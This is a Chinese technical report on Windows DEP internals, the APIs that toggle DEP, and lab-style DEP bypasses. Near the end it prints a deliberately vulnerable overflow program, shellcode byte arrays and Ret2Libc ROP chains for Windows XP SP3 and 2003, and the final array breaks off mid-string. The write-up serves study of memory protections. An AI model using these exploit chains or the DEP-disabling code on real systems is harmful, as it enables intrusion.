DEP机制分析报告
DEP机制分析报告
DEP概述
数据执行保护(Data Execution Prevention) ,将数据所在内存页标识为不可执行,当程序溢出成功转入 shellcode 时, 程序会尝试在数据页面上执行指令,此时 CPU 就会抛出异常,而不是去执行恶意指令。
DEP的工作状态
- Optin:默认仅将 DEP 保护应用于 Windows 系统组件和服务,对于其他程序不予保护,但用户可以通过应用程序兼容性工具(ACT,Application Compatibility Toolkit)为选定的程序启用DEP,在 Vista 下边经过/NXcompat 选项编译过的程序将自动应用 DEP。这种模式可以被应用程序动态关闭,多用于普通用户版的操作系统,如 Windows XP、Windows Vista、Windows7。
- Optout:为排除列表程序外的所有程序和服务启用 DEP,用户可以手动在排除列表中指定不启用 DEP 保护的程序和服务。这种模式可以被应用程序动态关闭,多用于服务器版的操作系统,如 Windows 2003、Windows 2008。
- AlwaysOn:对所有进程启用 DEP 的保护,不存在排序列表,在这种模式下,DEP 不可以被关闭,目前只有在 64 位的操作系统上才工作在 AlwaysOn 模式。
- AlwaysOff:对所有进程都禁用 DEP,DEP 也不能被动态开启,这种模式一般只有在某种特定场合才使用,如 DEP 干扰到程序的正常运行
硬件DEP
操作系统通过设置内存页的 NX/XD 属性标记,来指明不能从该内存执行代码。
为了实现这个功能,需要在内存的页面表(Page T able)中加入一个特殊的标识位(NX/XD)来标识是 否允许在该页上执行指令。当该标识位设置为 0 里表示这个页面允许执行指令,设置为 1 时表 示该页面不允许执行指令。
1.PTE结构
-
P位 – 存在位,表示当前条目是否在物理内存中
-
R/W位 – 读写权限位,为 0 表示只读,为 1 表示可读写
-
U/S位 – 也称为权限位,页或一组页的特权级,为 0 表示系统级,对应 CPL 0、1、2,为 1 表示用户级,对应 CPL 3。
-
PWT – 页表缓冲写入机制,为 0 表示 write-back 模式,更新页表缓冲区时,只标记为已更新,不同步写内存,只有被新进入的数据取代时才更新到内存,为 1 表示 write-through 模式,更新页表缓冲区时,同步写内存,保证缓冲区与内存一致
-
PCD – 是否拒绝被缓冲,为 0 表示可以被缓冲,为 1 表示不可以被缓冲
-
A位 – 是否被访问,CPU 会在访问到页面时将该位置 1,但不会清除,只有软件可以将 A 位复位
-
D位 – 是否被写入,CPU 会在写入页面时将该位置 1,但不会清除,只有软件可以将 D 位复位
-
PS – PDE特有,页大小位,为 0 表示页大小为 4KB,且 PDE 指向页表,为 1 表示页大小为 4MB,且 PDE 指向 4MB 的整块内存
-
PAT – 奔腾3以后的 CPU 引入的页属性表标识位,为 1 开启页属性表后,通过一系列专用寄存器(MBR)为每个页提供了详细的属性设置
-
G位 – 全局位,也称为脏位,如果该位与 CR4 寄存器的 PGE 位同时被置为 1,则该页或页目录项将不会在 TLB 中被逐出
-
XD位 – Execution Disable,PDE和PTE结构的bit 63位。Execution Disable功能需要处理器支持,使用CPUID.80000001H:EDX[20].XD查询是否支持该功能。
当IA32_EFER.NXE=0时,XD标志位为保留位,必须为0值。需要对IA32_EFER.NXE进行置位开启XD功能。当PDE.XD=1或PTE.XD=1时,page的属性是Data页(数据页,不可执行)
2.相关函数分析
2.1 VirtualProtect
函数作用:更改调用进程的虚拟地址空间中已提交页面区域的保护
函数原型:
BOOL VirtualProtect(
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flNewProtect,
[out] PDWORD lpflOldProtect
);
函数实现
VirtualProtect() 函数并不将页标记为可读写,而是保持页的只读属性。 然而,为了将此页与其它的正常只读页取分开来,它被标记为写时拷贝(copy-on-write)。 Windows NT 使用了 PTE 中的一个空闲位来做这个标记。当此页被写入时,因为是只读页,处理器发出页错误异常。页错误处理程序做一份此页的拷贝并相应地修改发生页错误进程的列表。新的拷贝被标记为可读写以使进程可以写入
函数调用栈
VirtualProtect()->VirtualProtectEx()->ZwProtectVirtualMemory()
ZwProtectVirtualMemory()通过sysenter进入内核,调用NtProtectVirtualMemory()->MiProtectVirtualMemory()
MiProtectVirtualMemory关键实现
1)计算出要改变其属性的内存页的PTE地址和PDE地址
PointerPde = MiAddressToPde(StartingAddress);
PointerPte = MiAddressToPte(StartingAddress);
LastPte = MiAddressToPte(EndingAddress);
2)获得页面属性
OldProtect = MiGetPageProtection(PointerPte);
3)调用MiFlushTbAndCapture改变PTE的属性
MiFlushTbAndCapture(Vad,
PointerPte,
ProtectionMask,
Pfn1,
TRUE);
MiFlushTbAndCapture关键实现
参考资料部分:
内部调用KeFlushSingleTb()来改变指定PTE的属性,KeFlushSingleTb()调用KeInterlockedSwapPte()来改变指定PTE的属性
如果新的PTE属性和旧的不等,把PTE属性设置为新的属性。如果相等,则实际上等于不进行操作。而新的PTE结构被初始化为0,此时即bit 63 NoExecute也被置为0
cPublicProc _KeInterlockedSwapPte ,2
push ebx
push esi
mov ebx, [esp] + 16 ; ebx = NewPteContents
mov esi, [esp] + 12 ; esi = PtePointer
mov ecx, [ebx] + 4
mov ebx, [ebx] ; ecx:ebx = source pte contents
mov edx, [esi] + 4
mov eax, [esi] ; edx:eax = target pte contents
swapagain:
ifndef NT_UP
lock cmpxchg8b qword ptr [esi] ; compare and exchange
else
cmpxchg8b qword ptr [esi] ; compare and exchange
endif
jnz short swapagain ; if z clear, exchange failed
pop esi
pop ebx
stdRET _KeInterlockedSwapPte
stdENDP _KeInterlockedSwapPte
cmpxch8b指令:
执行的操作:edx,eax与DST相比较
如果 (edx,eax)=(dst)
则 ZF=1,(dst)<-(ecx,ebx)
否则 ZF=0,(edx,eax)<-dst
Reactos源码部分:
1)创建一个新的PTE结构
MI_MAKE_HARDWARE_PTE_USER(&TempPte,
PointerPte,
ProtectionMask,
PreviousPte.u.Hard.PageFrameNumber);
VOID
MI_MAKE_HARDWARE_PTE_USER(IN PMMPTE NewPte,
IN PMMPTE MappingPte,
IN ULONG_PTR ProtectionMask,
IN PFN_NUMBER PageFrameNumber)
{
ASSERT(MappingPte <= MiHighestUserPte);
/* 重点,此处将新的PTE结构初始化为0,其中也包括PTE的XD位,即bit 63 NoExecute置为0 */
/*
此处PTE.R/W=0,PTE.WriteCopy=0
当PTE.R/W=0时,此页为只读页,当此页被写入时,触发页错误异常
当一个应用层程序试图往一个内存页面写入数据时,CPU操作系统会走如下流程:
1.检查PTE被写入内存页的PTE属性,如果页面的PTE属性的U/S位为0(系统内存不可更改),触发页保护异常,写入失败返回0XC00000005错误码;否则进入下一步
2.检查PTE的Write/Read位,如果为1表示检查通过则直接写入数据到内存,写入成功!如果为0,表示此PTE描述的内存页面为只读页,继续检查PTE的第9位,如果此位为0,触发页保护异常
3.进入页保护异常后就完全将控制权交给操作系统,操作系统先检查被写入页面的进程VAD属性,如果为不存在写拷贝属性,写入失败,返回0xc00000005错误码;如果存在写拷贝属性,进入下一步;
4.如果存在写拷贝属性,操作系统将被写入页面的PTE的第9位置1,将CPU的EIP设置为之前程序往内存写入数据的那条指令的地址,进入下一步
5.继续执行写入数据到内存的那条指令,注意此时PTE属性的write/Read仍然为0,仍然会再次触发页保护异常,返回第1步,接着走第2步,此时操作系统会发现PTE的第9位被置1了,如果PTE属性的第9位为1,则分配一个新的物理内存页面,将原来的数据复制到新的内存页面,修改PTE并且将PTE的write/Read位置1,页保护异常返回到程序之前写入数据到内存的那条指令,再次执行这条指令因为PTE的Write/Read位为1,会直接写入成功
*/
NewPte->u.Long = 0;
NewPte->u.Hard.Valid = TRUE;
NewPte->u.Hard.Owner = TRUE;
NewPte->u.Hard.PageFrameNumber = PageFrameNumber;
NewPte->u.Long |= MmProtectToPteMask[ProtectionMask];
}
2)改变新的PTE结构的属性,然后与原来的PTE结构交换
VOID
MI_UPDATE_VALID_PTE(IN PMMPTE PointerPte,
IN MMPTE TempPte)
{
ASSERT(PointerPte->u.Hard.Valid == 1);
ASSERT(TempPte.u.Hard.Valid == 1);
ASSERT(PointerPte->u.Hard.PageFrameNumber == TempPte.u.Hard.PageFrameNumber);
*PointerPte = TempPte;
}
3)刷新TLB
KeFlushCurrentTb();
2.2 NtSetInformationProcess
函数作用:根据传入的ProcessInformationClass设置进程信息
函数原型:
NTSYSAPI
NTSTATUS
NTAPI
NtSetInformationProcess(
IN HANDLE ProcessHandle,
IN PROCESS_INFORMATION_CLASS ProcessInformationClass,
IN PVOID ProcessInformation,
IN ULONG ProcessInformationLength );
NtSetInformationProcess与DEP的关联
一个进程的 DEP 设置标识保存在 KPROCESS 结构中的_KEXECUTE_OPTIONS 上,而这个标识可以通过 API 函数 NtQueryInformationProcess 和 NtSetInformationProcess 进行查询和修改。
_KEXECUTE_OPTIONS结构
ExecuteOptions域用于设置一个进程的内存执行选项,这是为了支持NX(No-Execute 内存不可执行)而引入的一个域。
前 4 个 bit 与 DEP 相关,当前进程 DEP 开启时 ExecuteDisable 位被置 1,当 进程 DEP 关闭时 ExecuteEnable 位被置 1,DisableThunkEmulation 是为了兼容 ATL 程序设置的, Permanent 被置 1 后表示这些标志都不能再被修改。
union _KEXECUTE_OPTIONS
{
UCHAR ExecuteDisable:1; //0x0
UCHAR ExecuteEnable:1; //0x0
UCHAR DisableThunkEmulation:1; //0x0
UCHAR Permanent:1; //0x0
UCHAR ExecuteDispatchEnable:1; //0x0
UCHAR ImageDispatchEnable:1; //0x0
UCHAR DisableExceptionChainValidation:1; //0x0
UCHAR Spare:1; //0x0
volatile UCHAR ExecuteOptions; //0x0
UCHAR ExecuteOptionsNV; //0x0
};
#define MEM_EXECUTE_OPTION_DISABLE 0x1
#define MEM_EXECUTE_OPTION_ENABLE 0x2
#define MEM_EXECUTE_OPTION_DISABLE_THUNK_EMULATION 0x4
#define MEM_EXECUTE_OPTION_PERMANENT 0x8
#define MEM_EXECUTE_OPTION_EXECUTE_DISPATCH_ENABLE 0x10
#define MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE 0x20
#define MEM_EXECUTE_OPTION_VALID_FLAGS 0x3F
mask | 定义 | 版本 |
---|---|---|
0x01 | UCHAR ExecuteDisable : 1; |
5.1后期; 5.2 晚期及更高版本 |
0x02 | UCHAR ExecuteEnable : 1; |
5.1后期; 5.2 晚期及更高版本 |
0x04 | UCHAR DisableThunkEmulation : 1; |
5.1后期; 5.2 晚期及更高版本 |
0x08 | UCHAR Permanent : 1; |
5.1后期; 5.2 晚期及更高版本 |
0x10 | UCHAR ExecuteDispatchEnable : 1; |
5.1后期; 5.2 晚期及更高版本 |
0x20 | UCHAR ImageDispatchEnable : 1; |
5.1后期; 5.2 晚期及更高版本 |
0x40 | UCHAR DisableExceptionChainValidation : 1; |
6.0 晚期及更高版本 |
UCHAR Spare : 2; |
5.1后期; 5.2 后期至 6.0 早期 | |
UCHAR Spare : 1; |
6.0 晚期及更高版本 |
调用ZwSetInformationProcess关闭进程DEP
ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;
ZwSetInformationProcess(
GetCurrentProcess(), // (HANDLE)-1
ProcessExecuteFlags, // 0x22
&ExecuteFlags, // ptr to 0x2
sizeof(ExecuteFlags)); // 0x4
调用ZwSetInformationProcess开启进程DEP
ULONG ExecuteFlags = MEM_EXECUTE_OPTION_DISABLE;
ZwSetInformationProcess(
GetCurrentProcess(), // (HANDLE)-1
ProcessExecuteFlags, // 0x22
&ExecuteFlags, // ptr to 0x1
sizeof(ExecuteFlags)); // 0x4
函数实现:(仅分析ProcessExecuteFlags部分)
内部调用MmSetExecuteOptions设置KPROCESS 结构中的_KEXECUTE_OPTIONS
case ProcessExecuteFlags:
......
Status = MmSetExecuteOptions(NoExecute);
break;
MmSetExecuteOptions部分实现如下:
if (ExecuteOptions & MEM_EXECUTE_OPTION_DISABLE)
{
CurrentProcess->Flags.ExecuteDisable = TRUE;
}
if (ExecuteOptions & MEM_EXECUTE_OPTION_ENABLE)
{
CurrentProcess->Flags.ExecuteEnable = TRUE;
}
if (ExecuteOptions & MEM_EXECUTE_OPTION_DISABLE_THUNK_EMULATION)
{
CurrentProcess->Flags.DisableThunkEmulation = TRUE;
}
if (ExecuteOptions & MEM_EXECUTE_OPTION_PERMANENT)
{
CurrentProcess->Flags.Permanent = TRUE;
}
2.3 GetProcessDEPPolicy
两个公开API的源码位于Windows XP的Kernel32.dll中,可通过IDA逆向分析
函数功能:获取指定 32 位进程的数据执行保护 (DEP) 和 DEP-ATL thunk 仿真设置
函数原型:
BOOL GetProcessDEPPolicy(
[in] HANDLE hProcess,
[out] LPDWORD lpFlags,
[out] PBOOL lpPermanent
);
hProcess:进程的句柄PROCESS_QUERY_INFORMATION权限才能获取进程的 DEP 策略。
lpFlags:接收标志
lpPermanent:为TRUE,则为指定进程永久启用或禁用DEP;否则为FALSE。
源码分析
内部调用NtQueryInformationProcess(ProcessHandle, ProcessExecuteFlags, &Flag, 4, 0)获得进程DEP信息
2.4 SetProcessDEPPolicy
函数功能:设置指定 32 位进程的数据执行保护 (DEP) 和 DEP-ATL thunk 仿真设置
函数原型:
BOOL SetProcessDEPPolicy(
[in] DWORD dwFlags
);
lpFlags:要设置的标志
0 为指定的进程禁用 DEP。
PROCESS_DEP_ENABLE 0x00000001 在当前进程上永久启用 DEP。
PROCESS_DEP_DISABLE_ATL_THUNK_EMULATION 0x00000002 DEP-ATL thunk仿真已对指定的进程禁用
源码分析:
若传入标志为0,调用NtSetInformationProcess(-1, ProcessExecuteFlags, 0x2, 4),0x2为MEM_EXECUTE_OPTION_ENABLE,即关闭进程DEP
若传入标志为1,调用NtSetInformationProcess(-1, ProcessExecuteFlags, 0x9, 4),0x9为MEM_EXECUTE_OPTION_DISABLE | MEM_EXECUTE_OPTION_PERMANENT,即开启DEP,且不允许再改变该标志,所以通过SetProcessDEPPolicy(0)无法关闭通过SetProcessDEPPolicy(1)开启的DEP
3.进程设置DEP的一般流程
3.1 程序链接选项: /NXCOMPAT
设置方法:项目->属性->链接器->高级->数据执行保护(DEP)-> /NXCOMPAT
采用/NXCOMPAT编译的程序会在文件的PE头中设置IMAGE_DLLCHARACTERISTICS_ NX_COMPAT 标识,该标识通过结构体 IMAGE_OPTIONAL_HEADER 中的 DllCharacteristics 变量进行体现,当 DllCharacteristics 设置为 0x0100 表示该程序采用了/NXCOMPAT 编译。
3.2 使用公开API
1.调用GetProcessDEPPolicy获得进程的DEP设置
2.调用SetProcessDEPPolicy设置DEP标志为开启或关闭状态
BOOL OpenDEP() {
DWORD dwFlag = 0;
BOOL bPerManent = FALSE;
BOOL bRet = GetProcessDEPPolicy(GetCurrentProcess(), &dwFlag, &bPerManent);
if (bRet) {
if (!dwFlag & PROCESS_DEP_ENABLE) {
dwFlag = PROCESS_DEP_ENABLE;
}
bRet = SetProcessDEPPolicy(dwFlag);
}
return bRet;
}
BOOL CloseDEP() {
DWORD dwFlag = 0;
BOOL bPerManent = FALSE;
BOOL bRet = GetProcessDEPPolicy(GetCurrentProcess(), &dwFlag, &bPerManent);
if (bRet) {
if (dwFlag & PROCESS_DEP_ENABLE) {
dwFlag = 0;
}
bRet = SetProcessDEPPolicy(dwFlag);
}
return bRet;
}
3.3 使用NTAPI
调用NtSetInformationProcess开启DEP或关闭DEP
BOOL OpenDEPByNTAPI() {
HMODULE ModuleHandle = NULL;
LONG Status;
if (__NtSetInformationProcess == NULL)
{
ModuleHandle = GetModuleHandle(_T("Ntdll.dll"));
if (ModuleHandle == NULL)
{
return FALSE;
}
__NtSetInformationProcess =
(LPFN_NTSETINFORMATIONPROCESS)GetProcAddress(ModuleHandle, "NtSetInformationProcess");
if (__NtSetInformationProcess == NULL)
{
return FALSE;
}
}
ULONG ExecuteFlags = MEM_EXECUTE_OPTION_DISABLE;
Status = __NtSetInformationProcess(
GetCurrentProcess(), // (HANDLE)-1
ProcessExecuteFlags, // 0x22
&ExecuteFlags, // ptr to 0x1
sizeof(ExecuteFlags)); // 0x4
if (Status == STATUS_SUCCESS) {
return TRUE;
}
else return FALSE;
}
BOOL CloseDEPByNTAPI() {
HMODULE ModuleHandle = NULL;
LONG Status;
if (__NtSetInformationProcess == NULL)
{
ModuleHandle = GetModuleHandle(_T("Ntdll.dll"));
if (ModuleHandle == NULL)
{
return FALSE;
}
__NtSetInformationProcess =
(LPFN_NTSETINFORMATIONPROCESS)GetProcAddress(ModuleHandle, "NtSetInformationProcess");
if (__NtSetInformationProcess == NULL)
{
return FALSE;
}
}
ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;
Status = __NtSetInformationProcess(
GetCurrentProcess(), // (HANDLE)-1
ProcessExecuteFlags, // 0x22
&ExecuteFlags, // ptr to 0x2
sizeof(ExecuteFlags)); // 0x4
if (Status == STATUS_SUCCESS) {
return TRUE;
}
else return FALSE;
}
代码测试
利用简单的栈溢出代码执行函数,栈溢出测试代码如下:
#define PASSWORD "1234567"
int VerifyPassword(char *password)
{
int Authenticated;
char Buffer[44];//0x0019Fe2c
Authenticated = strcmp(password, PASSWORD);
memcpy(Buffer,password,56);
return Authenticated;
}
int main()
{
int ValidFlag = 0;
LoadLibrary("user32.dll");
char ShellCode[] = {
0x33, 0xdb, 0x53, 0x68, 0x77, 0x65, 0x73, 0x74, 0x68, 0x66, 0x61, 0x69, 0x6c, 0x8b, 0xc4,0x53,
0x50, 0x50, 0x53, 0xb8, 0xa0, 0x0b, 0x2d, 0x76, 0xff, 0xd0,0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x2c, 0xfe, 0x19, 0x00
};
ValidFlag = VerifyPassword(ShellCode);
if (ValidFlag)
{
printf("incorrect password!\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
}
}
栈溢出测试前VS关闭编译选项:
1.程序链接选项: /NXCOMPAT
关闭该链接选项,执行栈溢出函数,可见VerifyPassword()返回时进入Buffer执行ShellCode代码,执行MessageBoxA函数
开启该链接选项,显示在Buffer地址处发生访问异常,拦截成功
2.使用公开API
调用GetProcessDEPPolicy和SetProcessDEPPolicy开启DEP后执行栈溢出代码,发生访问异常
此方法关闭DEP的条件:当前的DEP 策略必须设成OptIn 或者OptOut。如果策略被设成AlwaysOn(或者AlwaysOff),SetProcessDEPPolicy 将会抛出一个错误。如果一个模块是以/NXCOMPAT 链接的,这个技术也将不会成功。这个函数只能被进程调用一次。因此如果这个函数已经被当前进程调用,它将调用失败
3.使用NTAPI
调用NtSetInformationProcess开启DEP后执行栈溢出代码,发生访问异常
调用NtSetInformationProcess关闭DEP后执行栈溢出代码,正常执行Buffer处代码
4.测试总结
1.通过调用公开API和NtSetInformationProcess关闭DEP都无法影响到程序链接选项: /NXCOMPAT
2.调用NtSetInformationProcess无法影响通过SetProcessDEPPolicy设置的DEP
3.三种方法均可以设置DEP的开启和关闭,程序链接选项需要在程序运行前设置,SetProcessDEPPolicy只能在进程中调用一次,NtSetInformationProcess可以在进程中反复调用
绕过DEP
1.Ret2Libc
Return-to-libc ,由于 DEP 不允许直接到非可执行页执行指令,需要在其他可执行的位置找到符合我们要求的指令,让这条指令来替我们工作,为了能够控制 程序流程,在这条指令执行后,我们还需要一个返回指令,以便收回程序的控制权,然后继续下一步操作
1.1 ZwSetInformationProcess
微软调用LdrpCheckNXCompatibility检查进程的DEP兼容性,若存在兼容性问题时调用ZwSetInformationProcess关闭DEP
实验环境
环境 | 环境设置 |
---|---|
操作系统 | Windows XP SP3 |
DEP状态 | Optout |
编译器 | VC 6.0 |
编译选项 | 禁用ASLR,禁用优化选项,禁用GS,禁用SDL检查,开启DEP,禁用SafeSEH |
绕过思路
已知微软调用LdrpCheckNXCompatibility检查进程DEP的兼容性,当不兼容时自动调用ZwSetInformationProcess关闭DEP。
当符合以下条件之一时进程的DEP会被关闭:
- 当 DLL 受 SafeDisc 版权保护系统保护时
- 当 DLL 包含有.aspcak、.pcle、.sforce 等字节时
- Windows Vista 下面当 DLL 包含在注册表“HKEY_LOCAL_MACHINE\SOFTWARE \Microsoft\ Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions”键下边标识出不需要启动 DEP 的模块时
核心思路:查找LdrpCheckNXCompatibility函数调用ZwSetInformationProcess关闭DEP的条件,创造栈帧,构造shellcode调用ZwSetInformationProcess关闭DEP
限制
硬搜索函数地址,不适用于ASLR开启情况
实验过程
-
使用IDA打开Windows XP SP3环境的ntdll.dll文件,按Ctrl+F查找函数LdrpCheckNXCompatibility
-
利用第一种情况,调用LdrpCheckSafeDiscDll检查SafeDisc,当al为1时,会进入调用ZwSetInformationProcess关闭DEP的流程中
0x7C93CD24即为要跳转去关闭DEP的地址,在这里将al赋值为1后,经过后面的跳转即可成功关闭DEP
跳转结构图
-
构造ShellCode
1)利用OllyFindAddr->Disable DEP->Disable DEP <= XP SP3
2)Step2 显示的即为MOV EAX,0x1 RET指令的地址,选取0x7C92E252作为覆盖的函数返回地址
3)需要对EBP进行修正,Step 3即为PUSH ESP POP EBP RET 4的地址,选取0x7D72E0E5修正EBP
4)在关闭 DEP 前加入增大 ESP 指令地址,查找指令RETN 0x28的地址,即为0x7D5D3C18
5)通过 OllyFindAddr 插件中的 Overflow return address→Find CALL/JMP ESP 来搜索指令JMP ESP的地址,选择0x7DC652D0
6)放置关闭DEP处的地址,放置回跳指令,回跳至shellcode开头执行弹出MessageBox的代码
-
整体代码构造如下
#include <stdlib.h> #include <string.h> #include <stdio.h> #include <windows.h> char shellcode[]= "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x52\xE2\x92\x7C"//MOV EAX,1 RETN地址 "\xE5\xE0\x72\x7D"//修正EBP "\x18\x3C\x5D\x7D"//增大ESP "\xD0\x52\xC6\x7D"//jmp esp "\x24\xCD\x93\x7C"//关闭DEP代码的起始位置 "\xE9\x33\xFF\xFF" "\xFF\x90\x90\x90" ; void test() { char tt[176]; strcpy(tt,shellcode); } int main() { HINSTANCE hInst = LoadLibrary("shell32.dll"); char temp[200]; test(); return 0; }
测试结果
成功执行MessageBox代码
1.2 VirtualProtect
通过跳转到 VirtualProtect 函数来将 shellcode 所在内存页设置为可执行状态,然后再转入shellcode 执行
实验环境
环境 | 环境设置 |
---|---|
操作系统 | Windows 2003 SP2 |
DEP状态 | Optout |
编译器 | VC 6.0 |
编译选项 | 禁用ASLR,禁用优化选项,禁用GS,禁用SDL检查,开启DEP,禁用SafeSEH |
绕过思路
通过栈溢出覆盖掉函数返回地址,通过 Ret2Libc 技术,利用 VirtualProtect 函数将 shellcode 所在内存区域设置为可执行模式。通过 push esp jmp eax 指令序列动态设置 VirtualProtect 函数中的 shellcode 所在内存起始地址以及内存原始属性类型保存地址
限制
硬搜索函数地址,不适用于ASLR开启情况
实验过程
-
查找VirtualProtect函数的地址:使用OllyDbg打开一个模块,使用搜索->在所有模块里查找
找到VirtualProtect的地址和所在模块,Windows10是Kernelbase.dll,Windows2003是kernel32.dll
Windows10 Kernelbase.dll Windows2003 kernel32.dll -
使用IDA打开kernel32.dll,查看VirtualProtect函数,可以发现VirtualProtect 只是相当于做了一次中转,通过将进程句柄、内存地址、内存大小等参数传递给 VirtualProtectEx 函数来设置内存的属性。选择0x7C801FE8作为切入点,按照函数要求将栈帧布置好后转 入0x7C801FE8 处执行设置内存属性过程
VirtualProtect汇编代码 VirtualProtect具体实现 -
EBP+8 到 EBP+18 这16个字节空间中存放着设置内存属性所需的参数。[EBP+C]和[EBP+10]这两个参数是固定的,可以直接在 shellcode 中设置。[EBP+8]和[EBP+14]两个参数需要动态确定,要保证第一个参数可以落在我们可以控制的堆栈范围内,第二个参数要保证为一个可写地址
-
EBP在溢出过程中被破坏,需要修复EBP,利用OllyFindAddr->Disable DEP->Disable DEP >= 2003 SP2查找PUSH ESP POP EBP RET 4的地址,选取0x77CAA3F4
此时shellcode如下:
-
执行完RET 4后,ESP刚好指向EBP+8的位置
1)于是想如果能找到mov [ebp],xx pop xx,pop xx,pop xx,retn指令或者mov [ebp],xx jmp xx 指令就能修改ebp+8的值了(为什么要pop?因为有两个参数是固定的)但是这两种指令都找不到。
2)如果让ESP下移4个字节,再执行push esp retn/jmp xx指令也可以。因此可使用RETN指令将ESP下移4个字节而又不影响程序的控制;再使用push esp jmp eax,但需要将eax的指令修改一下 -
让ESP+4 同时收回程序的控制权,利用OllyFindAddr->自定义寻找C3,选择0x7C99B6F7
-
在构造PUSH ESP JMP EAX指令前,需要填充4个空字节,因为PUSH ESP POPEBP RET 4指令中,RET后面紧跟0x4说明RET后,ESP下移8个字节,因此需要填充4个空字节
-
使用Immunity Debugger中的mona插件寻找PUSH ESP JMP EAX指令地址,输入指令:!mona findwild -s "push esp #*# jmp eax",地址为0x77C97DC7
修改shellcode如下:
单步执行如下:
执行RETN之前 执行RETN之后,ESP+4 执行PUSH ESP之后,已成功将EBP+0x8的参数设置为0x0012FE74 -
已经成功地将 EBP+0x8 的参数设置为当前堆栈中的某个地址,需要修改EBP+0x14。
将ESP指向EBP+0x18,可以通过push esp jmp eax指令来设置EBP+0x14的参数。此时ESP指向EBP+0X4,因此使用pop pop pop retn指令就能使ESP指向EBP+0X18
利用OllyFindAddr找到pop pop pop retn的地址,选择0x7C8264F0(注意不要pop esp ebp eax,因为这三个寄存器以后都要用)
-
使用pop eax将pop pop pop retn的地址赋值给eax,利用OllyFindAddr找到pop eax retn的地址0x7C82386A
此时构造shellcode如图:
-
填写VirtualProtect的另外两个固定参数0x000000ff和0x00000040,继续调用push esp jmp eax,此时可以进入VirtualProtect函数修改内存属性
shellcode构造如下:
-
修改内存属性之后,利用OllyFindAddr找到JMP ESP的地址0x7C99A01B,此时可以跳转到设置的内存处执行MessageBox的代码
-
shellcode整体构造如下
shellcode布局图 -
整体测试代码如下
#include <stdlib.h> #include <string.h> #include <stdio.h> #include <windows.h> char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x6A\x38\x82\x7C"//pop eax retn "\xF0\x64\x82\x7C"//pop pop pop retn "\xF4\xA3\xCA\x77"//修正EBP "\xF7\xB6\x99\x7C"//RETN "\x90\x90\x90\x90" "\xC7\x7D\xC9\x77"//push esp jmp eax "\xFF\x00\x00\x00" "\x40\x00\x00\x00" "\xC7\x7D\xC9\x77"//push esp jmp eax "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\xE8\x1F\x80\x7C"//修改内存属性 "\x90\x90\x90\x90" "\x1B\xA0\x99\x7C"//jmp esp "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" 